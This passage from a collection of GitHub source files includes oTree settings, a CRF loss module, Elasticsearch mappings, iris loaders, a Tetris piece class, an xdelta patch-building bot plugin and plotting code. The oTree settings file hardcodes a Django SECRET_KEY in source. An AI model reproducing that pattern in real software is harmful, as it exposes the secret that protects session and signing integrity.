),\n]\n\n# if you set a property in SESSION_CONFIG_DEFAULTS, it will be inherited by all configs\n# in SESSION_CONFIGS, except those that explicitly override it.\n# the session config can be accessed from methods in your apps as self.session.config,\n# e.g. self.session.config['participation_fee']\n\nSESSION_CONFIG_DEFAULTS = dict(\n real_world_currency_per_point=1.00, participation_fee=0.00, doc=\"\"\n)\n\n# ISO-639 code\n# for example: de, fr, ja, ko, zh-hans\nLANGUAGE_CODE = 'ru'\n\n# e.g. EUR, GBP, CNY, JPY\nREAL_WORLD_CURRENCY_CODE = 'USD'\nUSE_POINTS = True\nPOINTS_DECIMAL_PLACES = 2\nREAL_WORLD_CURRENCY_DECIMAL_PLACES = 2\nADMIN_USERNAME = 'admin'\n# for security, best to set admin password in an environment variable\nADMIN_PASSWORD = environ.get('OTREE_ADMIN_PASSWORD')\n\nDEMO_PAGE_INTRO_HTML = \"\"\" \"\"\"\n\nSECRET_KEY = 't(zn5aln)w5)u+wj5wcqdj=0)z6lv%6#k1mg-r!&3kuec6vlb&'\n\n# if an app is included in SESSION_CONFIGS, you don't need to list it here\nINSTALLED_APPS = ['otree', 'tolokaregister', 'django_user_agents', ]\n","repo_name":"chapkovski/corr","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18188488132","text":"import torch\nimport torch.nn as nn\nimport torch.autograd as autograd\n\n\nclass CRFLoss(nn.Module):\n \"\"\"CRFLoss\n use for crf output layer for sequence tagging task.\n \"\"\"\n def __init__(self):\n super(CRFLoss, self).__init__()\n \n def _score_sentence(self, scores, mask, tags, transitions, crf_layer_conf):\n \"\"\"\n input:\n scores: variable (seq_len, batch, tag_size, tag_size)\n mask: (batch, seq_len)\n tags: tensor (batch, seq_len)\n output:\n score: sum of score for gold sequences within whole batch\n \"\"\"\n # Gives the score of a provided tag sequence\n batch_size = scores.size(1)\n seq_len = scores.size(0)\n tag_size = scores.size(2)\n # convert tag value into a new format, recorded label bigram information to index\n new_tags = autograd.Variable(torch.LongTensor(batch_size, seq_len))\n if crf_layer_conf.use_gpu:\n new_tags = new_tags.cuda()\n for idx in range(seq_len):\n if idx == 0:\n # start -> first score\n new_tags[:, 0] = (tag_size-2)*tag_size + tags[:, 0]\n else:\n new_tags[:, idx] = tags[:, idx-1]*tag_size + tags[:, idx]\n\n # transition for label to STOP_TAG\n end_transition = transitions[:, crf_layer_conf.target_dict[crf_layer_conf.STOP_TAG]].contiguous().view(1, tag_size).expand(batch_size, tag_size)\n # length for batch, last word position = length - 1\n length_mask = torch.sum(mask.long(), dim=1).view(batch_size, 1).long()\n # index the label id of last word\n end_ids = torch.gather(tags, 1, length_mask - 1)\n\n # index the transition score for end_id to STOP_TAG\n end_energy = torch.gather(end_transition, 1, end_ids)\n\n # convert tag as (seq_len, batch_size, 1)\n new_tags = new_tags.transpose(1, 0).contiguous().view(seq_len, batch_size, 1)\n # need convert tags id to search from positions of scores\n tg_energy = torch.gather(scores.view(seq_len, batch_size, -1), 2, new_tags).view(seq_len, batch_size) # seq_len * batch_size\n # mask transpose to (seq_len, batch_size)\n tg_energy = tg_energy.masked_select(mask.transpose(1, 0))\n\n # add all score together\n gold_score = tg_energy.sum() + end_energy.sum()\n return gold_score\n \n def forward(self, forward_score, scores, masks, tags, transitions, crf_layer_conf):\n \"\"\"\n \n :param forward_score: Tensor scale\n :param scores: Tensor [seq_len, batch_size, target_size, target_size]\n :param masks: Tensor [batch_size, seq_len]\n :param tags: Tensor [batch_size, seq_len]\n :return: goal_score - forward_score\n \"\"\"\n gold_score = self._score_sentence(scores, masks, tags, transitions, crf_layer_conf)\n return forward_score - gold_score","repo_name":"microsoft/NeuronBlocks","sub_path":"losses/CRFLoss.py","file_name":"CRFLoss.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","stars":1440,"dataset":"github-code","pt":"75"} +{"seq_id":"19713804063","text":"__author__ = 'HanHui'\n\n\nfrom elasticsearch import Elasticsearch\n\n\nDefaultSettings = {\n \"index\" : {\n \"number_of_shards\" : 3,\n \"number_of_replicas\" : 1\n },\n \"analysis\": {\n \"analyzer\": {\n \"default\": {\n \"analyzer\": \"ik_max_word\",\n \"search_analyzer\": \"ik_smart\",\n \"tokenizer\": \"ik_max_word\"\n }\n }\n }\n}\n\n\nIndices = {\n \"lushu_hotels\": {\n \"mappings\" : {\n \"hotel\": {\n \"properties\" : {\n \"name_en\" : { \"type\": \"string\", \"term_vector\": \"with_positions_offsets\" },\n \"name_cn\" : { \"type\": \"string\", \"term_vector\": \"with_positions_offsets\" },\n \"source\" : { \"type\": \"string\", \"index\": \"not_analyzed\" },\n \"sourceId\" : { \"type\": \"string\", \"index\": \"not_analyzed\" },\n \"tosId\" : { \"type\": \"integer\" },\n \"cityId\" : { \"type\": \"string\", \"index\": \"not_analyzed\" },\n \"address\" : { \"type\": \"string\", \"term_vector\": \"with_positions_offsets\" },\n \"location\" : {\"type\": \"geo_point\", \"lat_lon\": True, \"geohash_prefix\": True, \"geohash_precision\": \"50m\"},\n \"starRating\" : { \"type\": \"float\" },\n \"telephone\" : { \"type\": \"string\", \"index\": \"not_analyzed\"},\n \"created\" : { \"type\": \"date\" },\n }\n }\n }\n }\n}\n","repo_name":"IOSZYQ/tutorial","sub_path":"Tutorial/elastic/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31826680377","text":"import glob\n\nimport iris\n\nfrom improver.utilities.cube_manipulation import (\n enforce_coordinate_ordering, merge_cubes)\n\n\ndef load_cube(filepath, constraints=None, no_lazy_load=False,\n allow_none=False):\n \"\"\"Load the filepath provided using Iris into a cube.\n\n Args:\n filepath (str or list):\n Filepath that will be loaded or list of filepaths that can be\n merged into a single cube upon loading.\n constraints (iris.Constraint, str or None):\n Constraint to be applied when loading from the input filepath.\n This can be in the form of an iris.Constraint or could be a string\n that is intended to match the name of the cube.\n The default is None.\n no_lazy_load (bool):\n If True, bypass cube deferred (lazy) loading and load the whole\n cube into memory. This can increase performance at the cost of\n memory. If False (default) then lazy load.\n allow_none (bool):\n If True, when the filepath is None, returns None.\n If False, normal error handling applies.\n Default is False.\n\n Returns:\n cube (iris.cube.Cube):\n Cube that has been loaded from the input filepath given the\n constraints provided.\n \"\"\"\n if filepath is None and allow_none:\n return None\n # Remove metadata prefix cube if present\n constraints = iris.Constraint(\n cube_func=lambda cube: cube.long_name != 'prefixes') & constraints\n\n # Load each file individually to avoid partial merging (not used\n # iris.load_raw() due to issues with time representation)\n if isinstance(filepath, str):\n cubes = iris.load(filepath, constraints=constraints)\n else:\n cubes = iris.cube.CubeList([])\n for item in filepath:\n cubes.extend(iris.load(item, constraints=constraints))\n\n # Merge loaded cubes\n if not cubes:\n message = \"No cubes found using contraints {}\".format(constraints)\n raise ValueError(message)\n elif len(cubes) == 1:\n cube = cubes[0]\n else:\n cube = merge_cubes(cubes)\n\n # Remove metadata prefix cube attributes\n if 'bald__isPrefixedBy' in cube.attributes.keys():\n cube.attributes.pop('bald__isPrefixedBy')\n\n # Ensure the probabilistic coordinates are the first coordinates within a\n # cube and are in the specified order.\n cube = enforce_coordinate_ordering(\n cube, [\"realization\", \"percentile\", \"threshold\"])\n # Ensure the y and x dimensions are the last dimensions within the cube.\n y_name = cube.coord(axis=\"y\").name()\n x_name = cube.coord(axis=\"x\").name()\n cube = enforce_coordinate_ordering(cube, [y_name, x_name], anchor=\"end\")\n if no_lazy_load:\n # Force the cube's data into memory by touching the .data attribute.\n cube.data\n return cube\n\n\ndef load_cubelist(filepath, constraints=None, no_lazy_load=False):\n \"\"\"Load one cube from each of the filepath(s) provided using Iris into\n a cubelist.\n\n Args:\n filepath (str or list):\n Filepath(s) that will be loaded, each containing a single cube. If\n wildcarded, this will be expanded into a list of file names so that\n only one cube is loaded per file.\n constraints (iris.Constraint, str or None):\n Constraint to be applied when loading from the input filepath.\n This can be in the form of an iris.Constraint or could be a string\n that is intended to match the name of the cube.\n The default is None.\n no_lazy_load (bool)\n If True, bypass cube deferred (lazy) loading and load the whole\n cube into memory. This can increase performance at the cost of\n memory. If False (default) then lazy load.\n\n Returns:\n cubelist (iris.cube.CubeList):\n CubeList that has been created from the input filepath given the\n constraints provided.\n \"\"\"\n if isinstance(filepath, list) and len(filepath) == 1:\n filepath = filepath[0]\n\n # If the filepath is a string, then use glob, in case the str contains\n # wildcards.\n if isinstance(filepath, str):\n filepaths = glob.glob(filepath)\n else:\n filepaths = filepath\n\n # Construct a cubelist using the load_cube function.\n cubelist = iris.cube.CubeList([])\n for filepath in filepaths:\n try:\n cube = load_cube(filepath, constraints=constraints)\n except ValueError:\n continue\n if no_lazy_load:\n # Force the cube's data into memory by touching the .data.\n cube.data\n cubelist.append(cube)\n return cubelist\n","repo_name":"15b3/improver","sub_path":"lib/improver/utilities/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":4715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"70487233522","text":"import pygame\r\nfrom config import *\r\nimport config as G\r\nimport numpy as np\r\nfrom cell import Cell\r\nfrom glyph import Glyph\r\n\r\n'''\r\n=============================\r\nThisGlyph\r\n=============================\r\n'''\r\nclass ThisGlyph:\r\n\r\n '''\r\n =============================\r\n __init__\r\n =============================\r\n '''\r\n def __init__(self):\r\n self.spawn_pos = (G.well.rect.left + G.cell_w*(WELL_W//2-1), G.well.rect.top)\r\n self.glyph = None\r\n self.reinit()\r\n self.dirty = False\r\n ## actions\r\n self.move_left = False\r\n self.move_left_now = False\r\n self.move_right = False\r\n self.move_right_now = False\r\n self.rotate = False\r\n self.drop = False\r\n ## movement repeat control\r\n self._mov_left = False\r\n self._mov_right = False\r\n self._mov_time = 0\r\n self._delay = True\r\n\r\n '''\r\n =============================\r\n reinit\r\n =============================\r\n '''\r\n def reinit(self):\r\n self.spawn_pos = (G.well.rect.left + G.cell_w*(WELL_W//2-1), G.well.rect.top)\r\n self.rect = pygame.Rect(0, 0, 0, 0)\r\n self.rect_old = pygame.Rect(0, 0, 0, 0)\r\n G.dirty_rects.append(self.rect)\r\n G.dirty_rects.append(self.rect_old)\r\n if self.glyph:\r\n self.glyph.rect.left = G.well.rect.left + self.glyph.pos_in_well[0]*G.cell_w\r\n self.glyph.rect.top = G.well.rect.top + self.glyph.pos_in_well[1]*G.cell_w\r\n self.glyph.rect.width = self.glyph.cells[self.glyph.angle].shape[1]*G.cell_w\r\n self.glyph.rect.height = self.glyph.cells[self.glyph.angle].shape[0]*G.cell_w\r\n self.cell = Cell(self.glyph.color)\r\n else:\r\n self.cell = None\r\n\r\n '''\r\n =============================\r\n update\r\n =============================\r\n '''\r\n def update(self, dt):\r\n ## generate repeated movement\r\n self.generate_move(dt)\r\n\r\n # glyph guardian\r\n if not self.glyph: self.get_glyph()\r\n\r\n ## save old rect in case we'll need to erase the old glyph\r\n self.match_rect_to_glyph(self.rect_old)\r\n\r\n ## actions\r\n if self.drop : self.drop_glyph()\r\n if self.rotate : self.rorate_glyph()\r\n if self._mov_left : self.move_glyph_left()\r\n if self._mov_right : self.move_glyph_right()\r\n\r\n ## on tick edge or drop glyph either moves down or gets placed\r\n if G.tick_edge or self.drop: self.fall_or_place()\r\n\r\n ## update rects\r\n if self.dirty:\r\n self.match_rect_to_glyph(self.rect)\r\n else:\r\n self.rect.size = (0, 0)\r\n self.rect_old.size = (0, 0)\r\n\r\n '''\r\n =============================\r\n draw\r\n =============================\r\n '''\r\n def draw(self, screen):\r\n ## erase old glyph\r\n if self.rect_old.size != (0, 0):\r\n patch_rect = self.rect_old.copy()\r\n patch_rect.left -= G.well.rect.left\r\n patch_rect.top -= G.well.rect.top\r\n patch = G.well.surface.subsurface(patch_rect)\r\n screen.blit(patch, self.rect_old)\r\n\r\n if self.glyph.rect.top < 0:\r\n ## draw part of the glyph\r\n row = abs(self.glyph.rect.top)//G.cell_w\r\n cells = np.nditer(self.glyph.cells[self.glyph.angle][row:], flags = ['multi_index'])\r\n for cell in cells:\r\n if cell:\r\n x = self.glyph.rect.left + cells.multi_index[1]*G.cell_w + 1\r\n y = cells.multi_index[0]*G.cell_w + 1\r\n screen.blit(self.cell.surface, (x, y))\r\n else:\r\n ## draw full glyph\r\n cells = np.nditer(self.glyph.cells[self.glyph.angle], flags = ['multi_index'])\r\n for cell in cells:\r\n if cell:\r\n x = self.glyph.rect.left + cells.multi_index[1]*G.cell_w + 1\r\n y = self.glyph.rect.top + cells.multi_index[0]*G.cell_w + 1\r\n screen.blit(self.cell.surface, (x, y))\r\n\r\n ## clear the dirty attribute\r\n self.dirty = False\r\n\r\n '''\r\n =============================\r\n get_glyph\r\n =============================\r\n '''\r\n def get_glyph(self):\r\n ## create glyph\r\n type = G.next_glyph.glyph.type\r\n angle = G.next_glyph.glyph.angle\r\n self.glyph = Glyph(type, angle)\r\n self.glyph.rect.topleft = self.spawn_pos\r\n self.cell = Cell(self.glyph.color)\r\n ## offset horizontal 'I'\r\n if self.glyph.rect.width//G.cell_w == 4: self.glyph.rect.left -= G.cell_w\r\n ## set flags\r\n G.next_glyph.used = True\r\n self.dirty = True\r\n ## check collision on spawn\r\n if self.collision(0, 0, 0):\r\n G.state = 'finished'\r\n G.message.set_text('game over', 'press enter')\r\n G.highscores.add(G.score)\r\n\r\n '''\r\n =============================\r\n fall_or_place\r\n =============================\r\n '''\r\n def fall_or_place(self):\r\n self.drop = False\r\n self.dirty = True\r\n if self.collision(0, 1):\r\n ## place\r\n left, top, right, bot = self.get_position()\r\n top += 2; bot += 2\r\n G.well.cells[top:bot+1,left:right+1] |= self.glyph.cells[self.glyph.angle]\r\n num = GLYPHS_ENUM[self.glyph.type]\r\n G.well.cells_c[top:bot+1,left:right+1] |= self.glyph.cells[self.glyph.angle]*num\r\n ## get new glyph\r\n self.get_glyph()\r\n else:\r\n ## fall\r\n self.glyph.rect.top += G.cell_w\r\n\r\n '''\r\n =============================\r\n drop_glyph\r\n =============================\r\n '''\r\n def drop_glyph(self):\r\n i = 0\r\n while not self.collision(0, i): i += 1\r\n self.glyph.rect.top += (i-1)*G.cell_w\r\n\r\n '''\r\n =============================\r\n move_glyph_left\r\n =============================\r\n '''\r\n def move_glyph_left(self):\r\n self._mov_left = False\r\n if not self.collision(-1, 0):\r\n self.glyph.rect.left -= G.cell_w\r\n self.dirty = True\r\n\r\n '''\r\n =============================\r\n move_glyph_right\r\n =============================\r\n '''\r\n def move_glyph_right(self):\r\n self._mov_right = False\r\n if not self.collision(1, 0):\r\n self.glyph.rect.left += G.cell_w\r\n self.dirty = True\r\n\r\n '''\r\n =============================\r\n rorate_glyph\r\n =============================\r\n '''\r\n def rorate_glyph(self):\r\n self.rotate = False\r\n\r\n if self.glyph.type == 'O': pass\r\n \r\n elif self.glyph.type == 'I':\r\n if self.glyph.angle in (0, 2) and not self.collision(2, -2, 1):\r\n self.glyph.rotate()\r\n self.glyph.rect.left += G.cell_w*2\r\n self.glyph.rect.top -= G.cell_w*2\r\n self.dirty = True\r\n elif self.glyph.angle in (1, 3) and not self.collision(-2, 2, 1):\r\n self.glyph.rotate()\r\n self.glyph.rect.left -= G.cell_w*2\r\n self.glyph.rect.top += G.cell_w*2\r\n self.dirty = True\r\n\r\n elif self.glyph.type in ('J', 'L', 'T'):\r\n if self.glyph.angle == 0 and not self.collision(0, -1, 1):\r\n self.glyph.rotate()\r\n self.glyph.rect.top -= G.cell_w\r\n self.dirty = True\r\n elif self.glyph.angle == 1 and not self.collision(0, 0, 1):\r\n self.glyph.rotate()\r\n self.dirty = True\r\n elif self.glyph.angle == 2 and not self.collision(1, 0, 1):\r\n self.glyph.rotate()\r\n self.glyph.rect.left += G.cell_w\r\n self.dirty = True\r\n elif self.glyph.angle == 3 and not self.collision(-1, 1, 1):\r\n self.glyph.rotate()\r\n self.glyph.rect.left -= G.cell_w\r\n self.glyph.rect.top += G.cell_w\r\n self.dirty = True\r\n\r\n elif self.glyph.type == 'S':\r\n if self.glyph.angle in (0, 2) and not self.collision(0, -1, 1):\r\n self.glyph.rotate()\r\n self.glyph.rect.top -= G.cell_w\r\n self.dirty = True\r\n elif self.glyph.angle in (1, 3) and not self.collision(0, 1, 1):\r\n self.glyph.rotate()\r\n self.glyph.rect.top += G.cell_w\r\n self.dirty = True\r\n\r\n elif self.glyph.type == 'Z':\r\n if self.glyph.angle in (0, 2) and not self.collision(1, -1, 1):\r\n self.glyph.rotate()\r\n self.glyph.rect.left += G.cell_w\r\n self.glyph.rect.top -= G.cell_w\r\n self.dirty = True\r\n elif self.glyph.angle in (1, 3) and not self.collision(-1, 1, 1):\r\n self.glyph.rotate()\r\n self.glyph.rect.left -= G.cell_w\r\n self.glyph.rect.top += G.cell_w\r\n self.dirty = True\r\n\r\n '''\r\n =============================\r\n generate_move\r\n =============================\r\n '''\r\n def generate_move(self, dt):\r\n if not (self.move_left or self.move_right):\r\n self._delay = True\r\n self._mov_time = 0\r\n else:\r\n if self.move_left_now:\r\n self.move_left_now = False\r\n self._mov_left = True\r\n elif self.move_right_now:\r\n self.move_right_now = False\r\n self._mov_right = True\r\n elif self._delay and self._mov_time > MOVE_DELAY:\r\n self._delay = False\r\n self._mov_time = 0\r\n if self.move_left : self._mov_left = True\r\n if self.move_right: self._mov_right = True\r\n elif not self._delay and self._mov_time > MOVE_INTERVAL:\r\n self._mov_time -= MOVE_INTERVAL\r\n if self.move_left : self._mov_left = True\r\n if self.move_right: self._mov_right = True\r\n else:\r\n self._mov_time += dt\r\n\r\n '''\r\n =============================\r\n match_rect_to_glyph\r\n =============================\r\n '''\r\n def match_rect_to_glyph(self, rect):\r\n if self.glyph.rect.top < 0:\r\n rect.top = 0\r\n rect.left = self.glyph.rect.left\r\n rect.height = self.glyph.rect.height + self.glyph.rect.top\r\n rect.width = self.glyph.rect.width\r\n else:\r\n rect.topleft = self.glyph.rect.topleft\r\n rect.size = self.glyph.rect.size\r\n\r\n '''\r\n =============================\r\n get_position\r\n =============================\r\n '''\r\n def get_position(self, a=None):\r\n if a is None: a = self.glyph.angle\r\n left = (self.glyph.rect.left - G.well.rect.left)//G.cell_w\r\n top = (self.glyph.rect.top - G.well.rect.top )//G.cell_w\r\n right = left + self.glyph.cells[a].shape[1] - 1 \r\n bot = top + self.glyph.cells[a].shape[0] - 1\r\n return left, top, right, bot\r\n\r\n '''\r\n =============================\r\n collision\r\n =============================\r\n '''\r\n def collision(self, x, y, a=0):\r\n '''(x, y) is position offset, a is angle offset in [-1, 0, 1]'''\r\n if self.glyph.angle+a > 3: a = 0\r\n elif self.glyph.angle+a < 0: a = 3\r\n else: a += self.glyph.angle\r\n left, top, right, bot = self.get_position(a)\r\n left += x; right += x\r\n top += y; bot += y\r\n ## check well boundary\r\n if left < 0 or right > WELL_W-1 or bot > WELL_H-1: return True\r\n ## check well contents\r\n top += 2; bot += 2\r\n return (G.well.cells[top:bot+1,left:right+1] & self.glyph.cells[a]).any()\r\n","repo_name":"alexbaryzhikov/novotetris","sub_path":"thisglyph.py","file_name":"thisglyph.py","file_ext":"py","file_size_in_byte":12167,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"8622484829","text":"import os\nimport subprocess\nimport zipfile\nimport tempfile\nfrom create_video import VIDEO_PATTERN\nfrom fields import DirMultiplesRootsWithRange\nfrom nekbot import settings\nfrom nekbot.core.commands import command\nfrom nekbot.core.commands.control import control\nfrom nekbot.core.types.filesystem import File, Dir\nfrom plugins.premux import premux_video\nfrom utils.files import search_by_pattern\n\n__author__ = 'nekmo'\n\nTEMP_DIR = os.path.join(tempfile.tempdir if tempfile.tempdir else '/tmp', 'nekbot')\n\n\nSCRIPT_BASH = \"\"\"\\\n#!/usr/bin/env bash\n\necho \"Archivo generado con PatchMe 0.9.6.2\"\necho\nif [[ ! $(which xdelta3) ]]; then\n\techo \"No se encuentra el ejecutable de xdelta. Saliendo.\"\n\texit -1\nelse\nif [[ ! -f \"{source}\" ]]; then\n echo \"No se encuentra el fichero de origen: {source}\"\n exit -1\n fi\n\nif [[ ! -f \"file01.xdelta\" ]]; then\n echo \"No se encuentra el parche: file01.xdelta\"\n exit -1\n fi\n\n echo \"Parcheando el archivo: {source}\"\n xdelta3 -f -d -s \"{source}\" \"file01.xdelta\" \"{destination}\"\n echo \"Parche aplicado.\"\n\necho \"Proceso finalizado.\"\nfi\n\nexit 0\n\"\"\"\n\n\nSCRIPT_BAT = \"\"\"\\\n@echo off\nchcp 65001>NUL\necho Archivo generado con PatchMe 0.9.6.2\necho.\nif not exist \"{source}\" goto nofile\necho Parcheando el archivo: {source}\nxdelta.exe -f -d -s \"{source}\" \"file01.xdelta\" \"{destination}\"\necho Parche aplicado.\necho.\necho Proceso finalizado.\npause\nexit\n:nofile\necho No se ha encontrado el archivo de origen en el directorio.\npause\nexit\n\"\"\"\n\n\ndef get_temp_file():\n if not os.path.exists(TEMP_DIR):\n os.makedirs(TEMP_DIR)\n return tempfile.NamedTemporaryFile(suffix='patch', dir=TEMP_DIR, delete=False)\n\n\ndef write_temp_file(content):\n f = get_temp_file()\n f.write(content)\n return f.name\n\n\ndef create_patch_script(content, source, destination):\n source = os.path.split(source)[1]\n destination = os.path.split(destination)[1]\n content = content.format(source=source, destination=destination)\n return write_temp_file(content)\n\n\ndef get_xdelta_path():\n import thirdparty\n return os.path.join(os.path.dirname(thirdparty.__file__), 'xdelta.exe')\n\n\ndef safe_list_get(l, idx, default):\n try:\n return l[idx]\n except IndexError:\n return default\n\n\n@command('mkpatch', DirMultiplesRootsWithRange(settings.OWN_WORK_DIRECTORY, settings.FOREIGN_WORK_DIRECTORY),\n patch_sources=DirMultiplesRootsWithRange(settings.OWN_WORK_DIRECTORY, settings.FOREIGN_WORK_DIRECTORY))\n@control('admin')\ndef mkpatch(msg, directories, patch_sources=()):\n for i, directory in enumerate(directories):\n path_with_crc = premux_video(msg, directory)\n patch_dir = os.path.join(directory, 'patch')\n if not os.path.exists(patch_dir):\n os.makedirs(patch_dir)\n patch_path = os.path.join(patch_dir, os.path.split(path_with_crc)[1] + '.zip')\n directory_video = safe_list_get(patch_sources, i, None)\n if directory_video is None:\n directory_video = directory\n video = os.path.join(directory, search_by_pattern(directory_video, VIDEO_PATTERN, 'videos'))\n create_patch(msg, video, path_with_crc, patch_path)\n\n\n@command('patch', File(settings.FANSUB_ROOT), File(settings.FANSUB_ROOT), Dir(settings.FANSUB_ROOT))\ndef patch(msg, source, target, dest_dir):\n filename = os.path.split(target)[1]\n patch_path = os.path.join(dest_dir, filename) + '.zip'\n create_patch(msg, source, target, patch_path, False)\n\n\ndef create_patch(msg, video, target, patch_path, remove_video=True):\n delta_path = get_temp_file().name\n zipf = zipfile.ZipFile(patch_path, 'w')\n script_bash = create_patch_script(SCRIPT_BASH, video, target)\n script_bat = create_patch_script(SCRIPT_BAT, video, target)\n sp = subprocess.Popen(['xdelta3', '-f', '-s', video, target, delta_path],\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, stderr = sp.communicate()\n zipf.write(script_bash, 'unix.sh')\n zipf.write(script_bat, 'windows.bat')\n zipf.write(delta_path, 'file01.xdelta')\n zipf.write(get_xdelta_path(), 'xdelta.exe')\n if sp.returncode == 0:\n msg.reply('Created patch in %s' % patch_path, notice=True)\n else:\n msg.reply('Error creating patch. Stdout: %s Stderr: %s' % (\n stdout.replace('\\n', ' ') if stdout else '--', stderr.replace('\\n', '') if stderr else '--'))\n for remove in [script_bash, script_bat, delta_path, target]:\n if remove == target and not remove_video:\n continue\n os.remove(remove)\n","repo_name":"Nekmo/fansub-bot","sub_path":"plugins/patch.py","file_name":"patch.py","file_ext":"py","file_size_in_byte":4531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7641673319","text":"import os\nfrom sys import exc_info\nimport pandas as pd\nfrom six import u\nfrom radiomics import featureextractor\nimport SimpleITK as sitk\n\nbasePath = os.path.dirname(__file__)\n\ndef ROI_not_one_dim(image_array):\n flag_i = False\n flag_j = False\n for val in (85, 170):\n image_array[image_array == val] = 255\n for i in range(image_array.shape[0] - 1):\n for j in range(image_array.shape[1] - 1):\n if(image_array[i + 1, j] == 255 and image_array[i, j] == 255):\n flag_i = True\n if(flag_i and flag_j):\n return True\n if(image_array[i, j] == 255 and image_array[i, j + 1] == 255):\n flag_j = True\n if(flag_i and flag_j):\n return True\n return False\n\ndef extract_feature(imgPath, maskPath):\n params = os.path.join(basePath, 'Params.yaml')\n extractor = featureextractor.RadiomicsFeatureExtractor(params)\n feature = extractor.execute(imgPath, maskPath)\n return feature\n\nif __name__ == '__main__':\n pass","repo_name":"PinkR1ver/GBM-Farsighter","sub_path":"feature_extraction.py","file_name":"feature_extraction.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"8561314309","text":"#A 95% solution, O(N) + O(Zeroes)\nclass Solution(object):\n def findMaxConsecutiveOnes(self, nums):\n if not nums:\n return 0\n\n zList = []\n maxConsecutiveOnes = 1\n\n #Index all Zeroes\n #find maximum space between all indexes that are 2 apart.\n for i, num in enumerate(nums):\n if num == 0:\n zList.append(i)\n\n #If we found 1 or no zeroes, return the length of the list.\n if len(zList) <= 1:\n return len(nums)\n\n #Wrap our zeroes with a boundary.\n zList.insert(0, -1)\n zList.append(len(nums))\n\n #List of index locations of Zeroes.\n for i in range(1, len(zList)-1):\n maxConsecutiveOnes = max(maxConsecutiveOnes, zList[i+1] - zList[i-1] - 1)\n return maxConsecutiveOnes\n\n def findMaxConsecutiveOnesOnePass(self, nums):\n curZero = None\n prevZero = None\n\n if not nums:\n return 0\n\n maxConsecutiveOnes = 1\n\n for i in range(len(nums)):\n if nums[i] == 0:\n if prevZero:\n maxConsecutiveOnes = max(maxConsecutiveOnes, i-prevZero-1)\n else:\n #There is only one Zero encountered previously so far.\n maxConsecutiveOnes = i\n\n\n prevZero, curZero = curZero, i\n if prevZero is not None:\n return max(maxConsecutiveOnes, len(nums) - prevZero - 1)\n else:\n return len(nums)\n","repo_name":"jmloewen/snippets","sub_path":"leet/maxConsecutiveOnesII/findMaxConsecutiveOnes.py","file_name":"findMaxConsecutiveOnes.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31814755763","text":"#!/usr/bin/env python\n\nimport matplotlib\nmatplotlib.use('Agg')\nfrom matplotlib import animation\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\n\nfrom scipy.io import loadmat, savemat\nimport pandas as pd\nimport numpy as np\nimport json\nimport sys\nimport io\n\n\ndef __draw_figure_ccres(fig, json_data, **kwargs):\n\n gs1 = gridspec.GridSpec(1,2)\n gs1.update(wspace=0, hspace=0)\n\n reef_data = np.array(json_data['reef_fish']['biomass_grid'])\n geog_mask = 1 * (loadmat(\"data/ElNidoSHP_MATfile_06Sep2016.mat\")['WATER'] > 0)\n grid = reef_data * geog_mask\n #\n the_mask = np.ma.masked_where(geog_mask == 1, geog_mask)\n oth_mask = np.ma.masked_where((reef_data > 0) + (geog_mask == 0), geog_mask)\n\n fig.clf()\n ax = fig.add_subplot(gs1[1])\n fish_map = ax.imshow(np.flipud(grid), interpolation='nearest')\n ax.set_xticks([])\n ax.set_yticks([])\n Kp = 800\n cbar = fig.colorbar(fish_map, ticks=[0, Kp/4.0, Kp/2.0, 3*Kp/4.0])\n cbar.set_ticklabels(['0', '$K_p /4$', '$K_p /2$', '$> 3K_p /4$'])\n fish_map.set_clim(0, 3*Kp/4.0)\n\n\n ax.imshow(np.flipud(1 - the_mask), cmap='summer', interpolation='none')\n ax.imshow(np.flipud(1 - oth_mask), cmap='Reds', interpolation='none')\n # ax.imshow(np.flipud(reef_data), cmap='Reds', interpolation='none')\n ax.text(12.5, 25, json_data['time'], fontsize=15, color='black')\n\n ax2 = fig.add_subplot(gs1[0])\n\n fishing_lattice = np.array(json_data['reef_fish']['fisher_locs'])\n\n fisher_map = ax2.imshow(np.flipud(fishing_lattice), interpolation='none', cmap='Reds')\n ax2.imshow(np.flipud(1 - the_mask), cmap='summer', interpolation='none')\n ax2.set_xticks([])\n ax2.set_yticks([])\n\n\ndef __draw_figure_ccrespick(fig, json_data, **kwargs):\n\n gs1 = gridspec.GridSpec(1,2)\n gs1.update(wspace=0, hspace=0)\n\n reef_data = np.array(json_data['reef_fish']['biomass_grid'])\n geog_mask = 1 * (loadmat(\"data/ElNidoSHP_MATfile_06Sep2016.mat\")['WATER'] > 0)\n grid = reef_data * geog_mask\n #\n the_mask = np.ma.masked_where(geog_mask == 1, geog_mask)\n oth_mask = np.ma.masked_where((reef_data > 0) + (geog_mask == 0), geog_mask)\n\n fig.clf()\n ax = fig.add_subplot(gs1[1])\n fish_map = ax.imshow(np.flipud(grid), interpolation='nearest')\n ax.set_xticks([])\n ax.set_yticks([])\n Kp = 800\n cbar = fig.colorbar(fish_map, ticks=[0, Kp/4.0, Kp/2.0, 3*Kp/4.0])\n cbar.set_ticklabels(['0', '$K_p /4$', '$K_p /2$', '$> 3K_p /4$'])\n fish_map.set_clim(0, 3*Kp/4.0)\n\n\n ax.imshow(np.flipud(1 - the_mask), cmap='summer', interpolation='none')\n ax.imshow(np.flipud(1 - oth_mask), cmap='Reds', interpolation='none')\n # ax.imshow(np.flipud(reef_data), cmap='Reds', interpolation='none')\n ax.text(12.5, 25, json_data['time'], fontsize=15, 